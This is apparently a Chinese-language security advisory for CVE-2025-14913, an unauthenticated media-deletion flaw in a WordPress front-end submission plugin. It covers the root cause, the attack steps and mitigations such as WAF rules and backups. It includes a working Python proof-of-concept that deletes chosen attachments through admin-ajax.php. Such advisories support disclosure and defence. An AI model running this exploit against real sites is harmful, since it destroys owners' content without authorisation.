IPBUF安全漏洞报告
English
CVE-2025-14913 CVSS 5.3 中危

CVE-2025-14913 WordPress Frontend Post Submission Manager Lite插件未授权任意附件删除漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-14913
漏洞类型
授权绕过/不安全的直接对象引用(IDOR)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Frontend Post Submission Manager Lite WordPress Plugin (<=1.2.6)

相关标签

CVE-2025-14913WordPress插件漏洞授权绕过IDOR未授权删除Frontend Post Submission Manager Lite媒体文件删除AJAX漏洞中危漏洞

漏洞概述

Frontend Post Submission Manager Lite是一款WordPress前端文章提交管理插件,允许用户通过前端表单提交内容。该插件在1.2.6及之前版本中存在严重的授权绕过漏洞,原因是media_delete_action函数缺少正确的权限验证检查。攻击者无需登录即可利用此漏洞删除WordPress媒体库中的任意附件,包括图片、文档、视频等文件。由于该函数直接处理attachment删除请求而未验证用户身份或权限,攻击者可构造恶意请求指定任意附件ID进行删除操作。此漏洞可能导致网站数据丢失、业务中断,甚至通过删除关键媒体文件造成网站功能受损。

技术细节

漏洞根源在于class-fpsml-ajax.php文件中的media_delete_action函数(第91行附近)存在授权缺陷。该函数直接接收attachment ID参数并调用wp_delete_attachment()进行删除操作,但未执行current_user_can()或wp_verify_nonce()等安全验证。攻击者可通过构造HTTP POST请求,指定post_type为'attachment'和attachment ID参数,绕过认证机制直接调用删除接口。由于WordPress的附件(attachment)是特殊的post类型,普通用户本应无法直接删除他人上传的媒体文件,但该插件的错误实现允许未认证用户访问管理员才应拥有的删除权限。漏洞利用无需特殊工具或身份令牌,仅需知道或猜测attachment ID即可发起攻击。

攻击链分析

STEP 1
步骤1
攻击者识别运行Frontend Post Submission Manager Lite插件(<=1.2.6)的WordPress站点
STEP 2
步骤2
攻击者获取目标附件的ID,可通过遍历媒体库或猜测ID值
STEP 3
步骤3
构造恶意HTTP POST请求到/wp-admin/admin-ajax.php,包含action=fpsml_media_delete_action和目标attachment_id
STEP 4
步骤4
发送无认证请求,由于插件未验证用户权限,请求被直接处理
STEP 5
步骤5
WordPress执行wp_delete_attachment(),指定的附件文件从数据库和服务器存储中被永久删除
STEP 6
步骤6
攻击者可重复此过程批量删除所有媒体文件,导致网站内容丢失和功能破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14913 PoC - Unauthenticated Arbitrary Attachment Deletion # Target: WordPress with Frontend Post Submission Manager Lite plugin <= 1.2.6 def delete_attachment(target_url, attachment_id): """ Exploit for CVE-2025-14913 Deletes arbitrary WordPress attachments without authentication Args: target_url: Base URL of the WordPress site attachment_id: ID of the attachment to delete """ # Target the AJAX endpoint used by the plugin endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the exploit payload # The plugin's media_delete_action function processes this request data = { 'action': 'fpsml_media_delete_action', # Plugin AJAX action 'post_type': 'attachment', 'attachment_id': attachment_id } print(f"[*] Target: {target_url}") print(f"[*] Attempting to delete attachment ID: {attachment_id}") try: # Send the malicious request without authentication response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: # Check response to determine if deletion was successful if 'deleted' in response.text.lower() or response.text: print(f"[+] SUCCESS: Attachment {attachment_id} may have been deleted") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request completed but deletion status uncertain") print(f"[-] Response: {response.text[:200]}") else: print(f"[-] HTTP Error: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attachment_id>") print(f"Example: python {sys.argv[0]} http://example.com 123") sys.exit(1) target = sys.argv[1].rstrip('/') att_id = sys.argv[2] delete_attachment(target, att_id)

影响范围

Frontend Post Submission Manager Lite <= 1.2.6

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:1)限制wp-admin目录访问,仅允许管理员IP访问;2)使用Web应用防火墙(WAF)规则拦截包含'fpsml_media_delete_action'的异常请求;3)禁用或删除该插件,直至安装安全更新;4)对媒体库实施定期备份,确保数据可恢复;5)监控访问日志,排查未授权的admin-ajax.php请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表